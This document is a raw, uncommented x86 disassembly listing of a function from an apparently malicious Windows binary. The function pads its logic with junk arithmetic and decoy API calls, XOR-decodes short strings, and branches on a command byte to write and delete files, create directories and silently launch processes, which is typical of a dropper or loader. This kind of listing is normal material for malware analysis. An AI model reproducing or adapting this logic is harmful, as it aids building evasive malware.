mov ecx, dword [ebp - 0xdb8]
push ecx
push 0x81eeb
mov edx, dword [ebp - 0xdbc]
push edx
call dword [sym.imp.GDI32.dll_MoveToEx]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdb8]
sub eax, edx
add eax, dword [ebp - 0xdb8]
sub eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc0]
imul edx, dword [ebp - 0xdb8]
add edx, 0x70ab
mov dword [ebp - 0xdbc], edx
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0xf298
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
imul eax, dword [ebp - 0xdbc]
sub ecx, eax
mov dword [ebp - 0xdbc], ecx
mov edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xe0c], edx
jmp 0x41025d
mov eax, dword [ebp - 0xe0c]
add eax, 1
mov dword [ebp - 0xe0c], eax
mov ecx, dword [ebp - 0xe0c]
cmp ecx, dword [0x4319a4]
jb 0x410380
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0xdb8]
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdbc]
sub ecx, eax
mov edx, dword [ebp - 0xdb8]
sub edx, dword [ebp - 0xdbc]
or ecx, edx
mov dword [ebp - 0xdbc], ecx
mov eax, dword [ebp - 0xdc0]
push eax
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdc0]
push eax
call fcn.00405aa0
add esp, 0x10
mov dword [ebp - 0xdc4], eax
mov dword [0x431a54], 0x14c04
mov eax, dword [ebp - 0xdbc]
cdq
idiv dword [ebp - 0xdb8]
and edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc0]
mov ecx, eax
sub ecx, dword [ebp - 0xdc0]
mov eax, dword [ebp - 0xdb8]
cdq
idiv dword [ebp - 0xdc0]
sub ecx, edx
mov dword [ebp - 0xdbc], ecx
imul edx, dword [ebp - 0xdc4], 0x134ec
mov ecx, dword [ebp - 0xdc4]
imul ecx, dword [ebp - 0xdb8]
add edx, dword [ebp - 0xdc0]
add ecx, edx
mov eax, dword [ebp - 0xdb8]
sar eax, cl
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdc4]
push ecx
mov edx, dword [ebp - 0xdbc]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
call dword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdb8]
sub ecx, dword [ebp - 0xdc4]
add ecx, dword [ebp - 0xdbc]
mov dword [0x431a18], ecx
jmp 0x41024e
mov edx, dword [0x431ab0]
cmp edx, dword [ebp - 0xdb8]
jbe 0x4101f4
mov eax, dword [ebp - 0xdc0]
cdq
mov ecx, 0x174b0
idiv ecx
add edx, dword [ebp - 0xdbc]
mov ecx, dword [ebp - 0xdc4]
sar edx, cl
mov dword [ebp - 0xdbc], edx
mov edx, dword [ebp - 0xdc0]
imul edx, dword [ebp - 0xdb8]
or edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdb8], edx
jmp 0x4104dd
mov eax, dword [0x431ab0]
cmp eax, dword [ebp - 0xdc4]
jbe 0x4104dd
mov ecx, 0x917b
sub ecx, dword [ebp - 0xdc0]
mov edx, dword [ebp - 0xdb8]
imul edx, dword [ebp - 0xdb8]
sub ecx, edx
imul eax, dword [ebp - 0xdc0], 0x99c4
sub ecx, eax
mov dword [ebp - 0xdb8], ecx
mov eax, dword [ebp - 0xdc4]
cdq
mov ecx, 0xc06
idiv ecx
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdbc]
cdq
mov ecx, 0x2855
idiv ecx
sub eax, 0x9ec8
sub eax, dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdc0]
sar eax, cl
mov dword [ebp - 0xdbc], eax
mov edx, dword [ebp - 0xdc4]
push edx
mov eax, dword [ebp - 0xdb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov dword [ebp - 0xdbc], eax
mov ecx, dword [ebp - 0xdb8]
push ecx
mov edx, dword [ebp - 0xdc0]
push edx
mov eax, dword [ebp - 0xdc4]
push eax
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.00402300
add esp, 0x10
mov edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdc4], edx
mov eax, dword [ebp - 0xdc4]
sub eax, dword [ebp - 0xdc0]
sub eax, dword [ebp - 0xdbc]
and eax, dword [ebp - 0xdb8]
mov dword [ebp - 0xdbc], eax
mov eax, 0x10a04
cdq
idiv dword [ebp - 0xdbc]
add eax, dword [ebp - 0xdc4]
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdc0], ecx
jmp 0x40ff01
mov edx, dword [0x431ab0]
cmp edx, dword [ebp - 0xdc4]
ja 0x40fe80
jmp 0x40fe5f
jmp 0x410591
mov eax, dword [ebp - 0xdb8]
push eax
call fcn.00405590
add esp, 4
cmp dword [0x4319a4], eax
je 0x410591
mov ecx, dword [ebp - 0xdb8]
mov dword [ebp - 0xdb8], ecx
mov edx, dword [ebp - 0xdc0]
mov dword [ebp - 0xdbc], edx
imul eax, dword [ebp - 0xdb8], 0xc1f3
cdq
idiv dword [ebp - 0xdbc]
sub edx, dword [ebp - 0xdbc]
mov dword [ebp - 0xdb8], edx
push str.stubbornness
call fcn.004010e0
add esp, 4
mov eax, dword [ebp - 0xdc4]
cdq
idiv dword [ebp - 0xdc4]
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdc0]
add eax, dword [ebp - 0xdb8]
mov ecx, dword [ebp - 0xdc0]
imul ecx, dword [ebp - 0xdbc]
or eax, ecx
mov dword [ebp - 0xdc4], eax
mov edx, dword [ebp - 0xdb8]
cmp edx, dword [0x4319f0]
ja 0x40f3ea
jmp 0x40f3c4
mov eax, dword [ebp - 0xe3c]
add eax, 1
xor edx, edx
div dword [ebp - 0xdf8]
mov dword [ebp - 0xe3c], edx
jmp 0x40f36e
mov dword [ebp - 0xd54], 0
push 0
lea eax, [ebp - 0xd54]
push eax
mov ecx, dword [ebp - 0xd4c]
push ecx
mov edx, dword [ebp - 0xdfc]
push edx
mov eax, dword [ebp - 0xe38]
push eax
call dword [0x4340d0]
test eax, eax
je 0x410604
mov ecx, dword [ebp - 0xd54]
cmp ecx, dword [ebp - 0xd4c]
je 0x410606
jmp 0x41060b
jmp 0x40f312
mov edx, dword [ebp - 0xdfc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0xe38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xdc8]
push ecx
call dword [0x4340ac]
mov edx, dword [ebp - 0xdcc]
push edx
call dword [0x4340ac]
movzx eax, byte [ebp - 0xd41]
cmp eax, 2
jne 0x41093a
xor ecx, ecx
mov byte [ebp - 0xdce], cl
lea edx, [ebp - 0xeb8]
push edx
lea ecx, [ebp - 0xdce]
call fcn.00410ba0
mov dword [ebp - 0xdd8], eax
mov dword [ebp - 0xdd4], 0
jmp 0x410693
mov eax, dword [ebp - 0xdd4]
add eax, 1
mov dword [ebp - 0xdd4], eax
cmp dword [ebp - 0xdd4], 6
jae 0x4106f5
mov ecx, dword [ebp - 0xdd4]
mov edx, dword [ebp - 0xdd8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0xe78], eax
mov ecx, dword [ebp - 0xe78]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xdd8]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0xe02], dx
mov edx, dword [ebp - 0xdd4]
mov eax, dword [ebp - 0xdd8]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0xe7c], ecx
mov edx, dword [ebp - 0xe7c]
mov ax, word [ebp - 0xe02]
mov word [edx], ax
jmp 0x410684
mov ecx, 6
shl ecx, 1
mov edx, dword [ebp - 0xdd8]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0xe80], eax
xor ecx, ecx
mov edx, dword [ebp - 0xe80]
mov word [edx], cx
mov eax, dword [ebp - 0xdd8]
add eax, 2
mov dword [ebp - 0xe84], eax
mov ecx, dword [ebp - 0xe84]
push ecx
push 0x104
lea edx, [ebp - 0x328]
push edx
call fcn.0041bd1c
add esp, 0xc
xor eax, eax
mov byte [ebp - 0xdcf], al
xor ecx, ecx
mov byte [ebp - 0xdfd], cl
lea edx, [ebp - 0xed4]
push edx
lea ecx, [ebp - 0xdcf]
call fcn.00410c20
mov dword [ebp - 0xdf0], eax
mov dword [ebp - 0xddc], 0
jmp 0x410784
mov eax, dword [ebp - 0xddc]
add eax, 1
mov dword [ebp - 0xddc], eax
cmp dword [ebp - 0xddc], 0xc
jae 0x4107e6
mov ecx, dword [ebp - 0xddc]
mov edx, dword [ebp - 0xdf0]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0xe88], eax
mov ecx, dword [ebp - 0xe88]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xdf0]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0xe04], dx
mov edx, dword [ebp - 0xddc]
mov eax, dword [ebp - 0xdf0]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0xe40], ecx
mov edx, dword [ebp - 0xe40]
mov ax, word [ebp - 0xe04]
mov word [edx], ax
jmp 0x410775
mov ecx, 0xc
shl ecx, 1
mov edx, dword [ebp - 0xdf0]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0xe44], eax
xor ecx, ecx
mov edx, dword [ebp - 0xe44]
mov word [edx], cx
mov eax, dword [ebp - 0xdf0]
add eax, 2
mov dword [ebp - 0xe60], eax
mov byte [ebp - 0xe18], 0x2f
xor ecx, ecx
mov byte [ebp - 0xe17], cl
mov edx, 0x60
mov word [ebp - 0xe16], dx
mov eax, 0x7f
mov word [ebp - 0xe14], ax
mov ecx, 0x6a
mov word [ebp - 0xe12], cx
mov edx, 0x61
mov word [ebp - 0xe10], dx
xor eax, eax
mov word [ebp - 0xe0e], ax
mov dword [ebp - 0xde0], 0
jmp 0x41087a
mov ecx, dword [ebp - 0xde0]
add ecx, 1
mov dword [ebp - 0xde0], ecx
cmp dword [ebp - 0xde0], 4
jae 0x4108d4
mov edx, dword [ebp - 0xde0]
lea eax, [ebp + edx*2 - 0xe16]
mov dword [ebp - 0xe48], eax
mov ecx, dword [ebp - 0xe48]
movzx edx, word [ecx]
movsx eax, byte [ebp - 0xe18]
xor edx, eax
mov word [ebp - 0xe06], dx
mov ecx, dword [ebp - 0xde0]
lea edx, [ebp + ecx*2 - 0xe16]
mov dword [ebp - 0xe4c], edx
mov eax, dword [ebp - 0xe4c]
mov cx, word [ebp - 0xe06]
mov word [eax], cx
jmp 0x41086b
mov edx, 4
shl edx, 1
lea eax, [ebp + edx - 0xe16]
mov dword [ebp - 0xe50], eax
xor ecx, ecx
mov edx, dword [ebp - 0xe50]
mov word [edx], cx
lea eax, [ebp - 0xe16]
mov dword [ebp - 0xe58], eax
push 0
push 0
lea ecx, [ebp - 0x328]
push ecx
mov edx, dword [ebp - 0xe60]
push edx
mov eax, dword [ebp - 0xe58]
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x4340cc]
mov dword [ebp - 0xe94], eax
mov eax, 1
jmp 0x410b19
movzx ecx, byte [ebp - 0xd41]
cmp ecx, 0xd
jne 0x4109f8
mov dword [ebp - 0xe8c], 0
lea edx, [ebp - 0x530]
push edx
push 1
push 0
push 0x1c
push 0
call dword [0x4340b8]
push 0x42f4f8
push 0x104
lea eax, [ebp - 0x530]
push eax
call fcn.0041bd1c
add esp, 0xc
push 5
lea ecx, [ebp - 0x10]
push ecx
call fcn.0040d620
add esp, 8
lea edx, [ebp - 0x10]
push edx
push 0x104
lea eax, [ebp - 0x530]
push eax
call fcn.0041bd1c
add esp, 0xc
push 0
lea ecx, [ebp - 0x530]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x530]
push edx
lea eax, [ebp - 0x328]
push eax
call fcn.00410d90
add esp, 8
lea ecx, [ebp - 0x530]
push ecx
call fcn.00411570
add esp, 4
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
jmp 0x410b19
movzx eax, byte [ebp - 0xd41]
cmp eax, 8
jne 0x410acb
push 0x44
push 0
lea ecx, [ebp - 0xdb0]
push ecx
call fcn.00415c30
add esp, 0xc
mov dword [ebp - 0xdb0], 0x44
xor edx, edx
mov dword [ebp - 0xd6c], edx
mov dword [ebp - 0xd68], edx
mov dword [ebp - 0xd64], edx
mov dword [ebp - 0xd60], edx
push 4
push 0x23
push 0x4319a8
call fcn.0040bed0
add esp, 0xc
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe5c]
push eax
push 0x200
lea ecx, [ebp - 0xd40]
push ecx
call fcn.0041bd1c
add esp, 0xc
lea edx, [ebp - 0x328]
push edx
push 0x200
lea eax, [ebp - 0xd40]
push eax
call fcn.0041bd1c
add esp, 0xc
lea ecx, [ebp - 0xd6c]
push ecx
lea edx, [ebp - 0xdb0]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0xd40]
push eax
push 0
call dword [0x4340bc]
test eax, eax
jne 0x410ac2
xor eax, eax
jmp 0x410b19
mov eax, 1
jmp 0x410b19
push 0
push 0
lea ecx, [ebp - 0x328]
push ecx
push 4
push 0xd
push 0x431ab4
call fcn.0040bed0
add esp, 0xc
push eax
push 4
push 5
push 0x431a0c
call fcn.0040bed0
add esp, 0xc
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [0x4340cc]
mov dword [ebp - 0xe98], eax
mov eax, 1
jmp 0x410b19
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00414551
mov esp, ebp
pop ebp
ret